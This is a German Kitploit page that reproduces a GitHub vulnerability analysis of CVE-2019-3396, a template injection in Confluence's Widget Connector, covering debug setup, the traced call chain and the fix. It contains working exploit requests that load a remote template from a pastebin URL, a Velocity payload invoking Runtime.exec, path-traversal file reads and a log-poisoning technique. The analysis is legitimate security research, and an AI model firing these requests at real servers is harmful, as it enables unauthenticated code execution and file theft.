Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2019-3396 — Unautorisierte Template-Injection in Confluence | Kitploit
Tools/GitHubGitHub/petrusviet/cve-2019-3396
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubpetrusviet/cve-2019-3396

cve-2019-3396

Unautorisierte Template-Injection in Confluence

Repository anzeigen
21vor 5 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Nicht autorisierte Template-Injection in Confluence (CVE-2019-3396)

I) Erstellung

  • Dieser Bug betrifft folgende Versionen:
    • Alle Versionen 1.x.x, 2.x.x, 3.x.x, 4.x.x und 5.x.x
    • Alle Versionen 6.0.x, 6.1.x, 6.2.x, 6.3.x, 6.4.x und 6.5.x
    • Alle Versionen 6.6.x vor 6.6.12
    • Alle Versionen 6.7.x, 6.8.x, 6.9.x, 6.10.x und 6.11.x
    • Alle Versionen 6.12.x vor 6.12.3
    • Alle Versionen 6.13.x vor 6.13.3
    • Alle Versionen 6.14.x vor 6.14.2
  • Nach dem Herunterladen des Quellcodes müsst ihr:
    • Den Wert confluence.home in der Datei ./confluence/WEB-INF/classes/confluence-init.properties auf die Adresse des Confluence-Home ändern
    • Den Wert CATALINA_OPTS hinzufügen, damit das Programm im Remote-Debug-Modus laufen kann

Unter Windows, Datei ./bin/setenv.bat

root@kitploit:~
set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

unter Linux, Datei ./bin/setenv.sh

root@kitploit:~
CATALINA_OPTS="-Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=5005 ${CATALINA_OPTS}"  
  • In der IDE (Intellij) erstellen wir eine Debug-Konfiguration: Remote JVM Debug mit den Werten host und port als localhost:5005 und Command line arguments for remote JVM
root@kitploit:~
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
  • Wir können Postgresql als Datenbank verwenden:
root@kitploit:~
$ su - postgres
postgres@ubuntu:~$ psql -U postgres
postgres@ubuntu:~$ psql -U postgres
psql (10.6 (Ubuntu 10.6-0ubuntu0.18.04.1))
Type "help" for help.
 
postgres=# CREATE USER wiki WITH PASSWORD 'wiki';
CREATE ROLE
postgres=# CREATE DATABASE wiki OWNER wiki;
CREATE DATABASE
postgres=# GRANT ALL PRIVILEGES ON DATABASE jira TO wiki;
GRANT
  • Wir müssen die Jar-Dateien ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar, ./confluence/WEB-INF/lib/confluence-x.x.x.jar, ./confluence/WEB-INF/lib/velocity-x.x.x-atlassian-x.jar zur lib hinzufügen, damit wir beim Debuggen den benötigten Quellcode sehen können.

  • Wir führen die Datei ./bin/start-confluence.bat aus, und ihr könnt euch zusätzlich diese Anleitung ansehen, um aus dem Quellcode zu installieren.

II) Analyse

  • Nach dem Lesen der Beschreibung wissen wir, dass dieser Bug von der Funktion Widget Connector ausgeht. Deshalb habe ich sofort gegoogelt, um herauszufinden, was diese Funktion ist und wie man sie verwendet:

    2 Eine Seite bearbeiten

    3
    Andere Makros auswählen

    4 Widget-Connector auswählen

    image

  • Ich wähle willkürlich ein paar Parameter aus und klicke auf Vorschau, danach wechsle ich zu Burp, um zu sehen, ob es etwas Interessantes gibt. image

  • In diesem Paket sehe ich einen Parameter "pluginKey":"com.atlassian.confluence.extra.widgetconnector". Daher vermute ich, dass die Funktion Widget Connector in der Klasse com.atlassian.confluence.extra.widgetconnector definiert ist. Also habe ich im Pfad gesucht, ob es eine verdächtige Jar-Datei gibt.

image

  • Ich versuche, die Datei ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar zur lib des Projekts hinzuzufügen, um den Quellcode lesen und debuggen zu können.

    1
    So fügt man eine Jar-Datei zur lib hinzu

  • Beim Öffnen des Pakets widgetconnector hat es mir die Klasse WidgetMacro angetan. Deshalb setze ich einen Breakpoint im Konstruktor und in der execute-Funktion dieser Klasse, um zu sehen, ob diese Klasse aufgerufen wird, wenn ich die Vorschaufunktion verwende 🕵️

    • Die Funktion execute wurde aufgerufen, danach ruft das Programm DefaultRenderManager.getEmbeddedHtml auf

    • image

    • Wir sehen, dass wir, um in die if-Anweisung zu gelangen, die Bedingung widgetRenderer.matches(url) erfüllen müssen. Wir prüfen die Funktion widgetRenderer.matches(url) in der Klasse YoutubeRenderer

Tool herunterladen
  • image

  • image

  • Der Parameter url muss also ein YouTube-Videolink sein (oder Vimeo, Twitter, ...). Ich setze url auf die URL eines beliebigen YouTube-Videos, und das Programm springt in die if-Anweisung und ruft danach die Funktion widgetRenderer.getEmbeddedHtml(url, params) auf (Klasse YoutubeRenderer)

  • image

  • Das Programm springt zur Funktion setDefaultParam; hier sehen wir einen versteckten Parameter _template, der verdächtig wirkt :)

  • image

  • Nachdem die Funktion setDefaultParam verlassen wurde, ruft das Programm die Funktion DefaultVelocityRenderService.render auf

  • image

  • Weiter geht es durch die Funktion getRenderedTemplate und VelocityUtils.getRenderedTemplate(String templateName, Map<?, ?> contextMap)

  • image

  • image

  • Weiter zu VelocityUtils.getRenderedTemplate(String templateName, Context context) und getRenderedTemplateWithoutSwallowingErrors(templateName, context)

  • image

  • Die Funktion renderTemplateWithoutSwallowingErrors

  • image

  • Das Programm ruft die Funktion getTemplate auf, dann VelocityEngine.getTemplate und RuntimeInstance.getTemplate. Hier sehen wir, dass das Programm die Funktion getResource mit dem Wert des Parameters _template als Eingabe aufruft. In Java kann die Funktion getResource verwendet werden, um eine Ressource als lokale Datei oder als Datei im Internet (über das HTTP-Protokoll) zu laden.

  • Halten wir kurz inne und denken nach: Erlaubt dies einem Angreifer, eine beliebige Vorlage (von einem lokalen Server oder vom Host des Angreifers) in das Programm einzuschleusen, indem er einfach den Parameter _template in die Anfrage einfügt??

  • image

  • Wir verfolgen den Ablauf weiter rückwärts, um zu sehen, wie das Programm die Vorlage verarbeitet, nachdem sie geladen wurde:

  • Nachdem die Vorlage vorhanden ist, ruft das Programm die Funktion VelocityUtils.renderTemplateWithoutSwallowingErrors(template, context, writer); auf

  • image

  • Danach kommt template.merge(context, writer);

  • root@kitploit:~
    public void merge(Context context, Writer writer, List macroLibraries) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException {
          if (this.errorCondition != null) {
              throw this.errorCondition;
          } else if (this.data == null) {
              String msg = "Template.merge() failure. The document is null, most likely due to parsing error.";
              throw new RuntimeException(msg);
          } else {
              InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
              ica.setMacroLibraries(macroLibraries);
              if (macroLibraries != null) {
                  for(int i = 0; i < macroLibraries.size(); ++i) {
                      try {
                          this.rsvc.getTemplate((String)macroLibraries.get(i));
                      } catch (ResourceNotFoundException var17) {
                          this.rsvc.getLog().error("template.merge(): cannot find template " + (String)macroLibraries.get(i));
                          throw var17;
                      } catch (ParseErrorException var18) {
                          this.rsvc.getLog().error("template.merge(): syntax error in template " + (String)macroLibraries.get(i) + ".");
                          throw var18;
                      } catch (Exception var19) {
                          throw new RuntimeException("Template.merge(): parse failed in template  " + (String)macroLibraries.get(i) + ".", var19);
                      }
                  }
              }
    
              if (this.provideScope) {
                  ica.put(this.scopeName, new Scope(this, ica.get(this.scopeName)));
              }
    
              try {
                  ica.pushCurrentTemplateName(this.name);
                  ica.setCurrentResource(this);
                  ((SimpleNode)this.data).render(ica, writer);      ### POC có thể được render ở đây  ###
              } catch (StopCommand var20) {
                  if (!var20.isFor(this)) {
                      throw var20;
                  }
    
                  if (this.rsvc.getLog().isDebugEnabled()) {
                      this.rsvc.getLog().debug(var20.getMessage());
                  }
              } catch (IOException var21) {
                  throw new VelocityException("IO Error rendering template '" + this.name + "'", var21);
              } finally {
                  ica.popCurrentTemplateName();
                  ica.setCurrentResource((Resource)null);
                  if (this.provideScope) {
                      Object obj = ica.get(this.scopeName);
                      if (obj instanceof Scope) {
                          Scope scope = (Scope)obj;
                          if (scope.getParent() != null) {
                              ica.put(this.scopeName, scope.getParent());
                          } else if (scope.getReplaced() != null) {
                              ica.put(this.scopeName, scope.getReplaced());
                          } else {
                              ica.remove(this.scopeName);
                          }
                      }
                  }
    
              }
    
          }
      }
    
    • Hier sehen wir, dass das Programm SimpleNode.render aufruft. Diese Funktion verwendet die Velocity-Vorlage zum Parsen der Vorlage. An diesem Punkt können wir sehen, dass wir bereits einen RCE-PoC schreiben können:

    POST-Request beim Anfordern der Vorschaufunktion

    root@kitploit:~
    POST /rest/tinymce/1/macro/preview HTTP/1.1
    Host: localhost:8090
    Cookie: seraph.confluence=; JSESSIONID=
    Connection: close
    
    {
    "contentId":"622594",
    "macro": {
        "name":"widget",
        "body":"","params": {
          "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
          "width":"10",
          "height":"10",
          "_template":"https://pastebin.com/raw/JPEpiuLG"
          }
    }
    }
    

    Payload-Datei

    root@kitploit:~
    #set($x="x")
    $x.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")
    
    • Der PoC lief erfolgreich:
    • image

    Stack-Trace

    root@kitploit:~
    WidgetMacro: execute
      -> DefaultRenderManager: getEmbeddedHtml
      	-> YoutubeRenderer: getEmbeddedHtml
      		-> DefaultVelocityRenderService: render -> getRenderedTemplate
      			-> (confluence-6.12.2.jar) VelocityUtils: getRenderedTemplate -> getRenderedTemplate -> getRenderedTemplateWithoutSwallowingErrors -> renderTemplateWithoutSwallowingErrors -> getTemplate -> getVelocityEngine
      				
      				-> VelocityEngine: getTemplate
      					-> RuntimeInstance: getResource 
    
      			-> (confluence-6.12.2.jar) VelocityUtils: renderTemplateWithoutSwallowingErrors
    
      				-> Template: merge
      					=>  SimpleNode: render
    

    Damit haben wir diesen Bug erfolgreich per PoC reproduziert. Wenn das Ziel jedoch ein Server ist, der ausgehende Verbindungen blockiert, kann der Angreifer keine Ressourcen aus dem Internet abrufen, sondern nur lokale Dateien des Servers.

    In diesem Fall: Wie lässt er sich ausnutzen?

    Ich habe den Hinweis bekommen, dass ein Benutzer auf irgendeine Weise eine Payload in die Logdatei einschleusen kann. Das ist eine ziemlich gute Idee, also habe ich mir sofort den Kopf zerbrochen, wie das gehen könnte.

    • Ich beginne, die Logdateien im Confluence Home zu untersuchen, um zu sehen, ob sie etwas Besonderes enthalten. Ich schaue mir die Logdateien in ./shared-home/analytics-logs/ an und sehe einige vertraute Schlüssel-Wert-Paare, die offenbar von der Client-Seite gesendet wurden
    • image
    • Ich sehe ein Paket POST /rest/analytics/1.0/publish/bulk, das einige Schlüssel-Wert-Paare wie oben sendet.
    root@kitploit:~
    [{"name":"browser.metrics.navigation",
    "properties":{
     "apdex":"0.5",
     "firstPaint":"528",
     "isInitial":"true",
     "journeyId":"9e60e71a-8ebe-478c-a638-ee9423f5798f",
     "key":"confluence.dashboard.view",
     "navigationType":"0",
     "readyForUser":"1117",
     "redirectCount":"0",
     "resourceLoadedEnd":"499",
     "resourceLoadedStart":90.35499999299645,
     "threshold":"1000",
     "unloadEventStart":"47",
     "unloadEventEnd":"47",
     "fetchStart":"25",
     "domainLookupStart":"25",
     "domainLookupEnd":"25",
     "connectStart":"25",
     "connectEnd":"25",
     "requestStart":"27",
     "responseStart":"28",
     "responseEnd":"37",
     "domLoading":"52",
     "domInteractive":"538",
     "domContentLoadedEventStart":"538",
     "domContentLoadedEventEnd":"691",
     "domComplete":"1176",
     "loadEventStart":"1176",
     "loadEventEnd":"1176",
     "userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
     "pageEnd":"531",
     "isBigPipeEnabled":"false",
     "serverDuration":"339",
     "requestCorrelationId":"36006c54d2919ecd",
     "resourceTiming":"{\"☠\":[\"2,2i,2i,,,2i,,2i,2i,2i\",\"2,2i,31,2m,2k,2i,,2i,2i,2i\",\"2,2j,31,2m,2l,2j,,2j,2j,2j\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2m,2m,,,2m,,2m,2m,2m\",\"3,2n,2n,,,2n,,2n,2n,2n\",\"5,bz,cv,cv,c0,bz,,bz,bz,bz\",\"4,d6,d6,,,d6,,d6,d6,d6\",\"4,d7,d7,,,d7,,d7,d7,d7\",\"3,dq,dv,dr,dq,dq,,dq,dq,dq\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,er,er,,,er,,er,er,er\",\"5,fl,fn,fn,fm,fl,,fl,fl,fl\",\"5,g9,ha,h9,gb,g9,,g9,g9,g9\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,il,il,,,il,,il,il,il\",\"5,h4,ta,t0,pl,pk,,h6,h4,h4\"]}",
     "userTimingRaw":"{\"marks\":{},\"measures\":{}}","experiments":"[]"},"timeDelta":-5176
     }]
    
    • Ich versuche, einige Werte zu ersetzen, und stelle fest, dass der Wert resourceTiming beliebig geändert werden kann und trotzdem in das Log geschrieben wird
    • image
    • Damit können wir eine Payload in die lokale Logdatei des Servers einschleusen.
    • Von hier aus können wir die Datei ./confluence/WEB-INF/classes/confluence-init.properties lesen, um den Speicherort des Confluence Home zu erfahren
    root@kitploit:~
    POST /rest/tinymce/1/macro/preview HTTP/1.1
      
    {
    "contentId":"1507329",
    "macro":{
    "name":"widget",
    "body":"",
    "params":{
      "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
      "_template":"/../../WEB-INF/classes/confluence-init.properties",
      "width":"11",
      "height":"11"
      }
    }
    }
    
    • Und von dort aus den Speicherort der Logdatei finden, die die von uns injizierte Payload enthält:
    root@kitploit:~
    POST /rest/tinymce/1/macro/preview HTTP/1.1
        
    {
    "contentId":"1507329",
    "macro":{
      "name":"widget",
      "body":"",
      "params":{
        "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
        "_template":"file:C://Users/XXXXX...XXXXX/.confluence/shared-home/analytics-logs/bd0f2792fe0234be516b843e25d54a14.515465381.atlassian-analytics.log",
        "width":"11",
        "height":"11"
        }
      }
    }
    
    • Wenn die Logdatei zu groß ist, um sie als Vorlage zu parsen, können wir Log-Einträge erzeugen, bis die Logdatei das Größenlimit erreicht. Dann schreibt das System automatisch in eine neue Logdatei, und der Angreifer kann die Gelegenheit nutzen, dass die neue Logdatei noch klein ist, um eine Payload für die Nutzung einzuschleusen.

    III) Behebung

    Im Patch wurde der Klasse WidgetMacro die Funktion doSanitizeParameters hinzugefügt, um den Parameter "_template" zu entfernen, bevor renderManager.getEmbeddedHtml(url, parameters); aufgerufen wird.

    image image image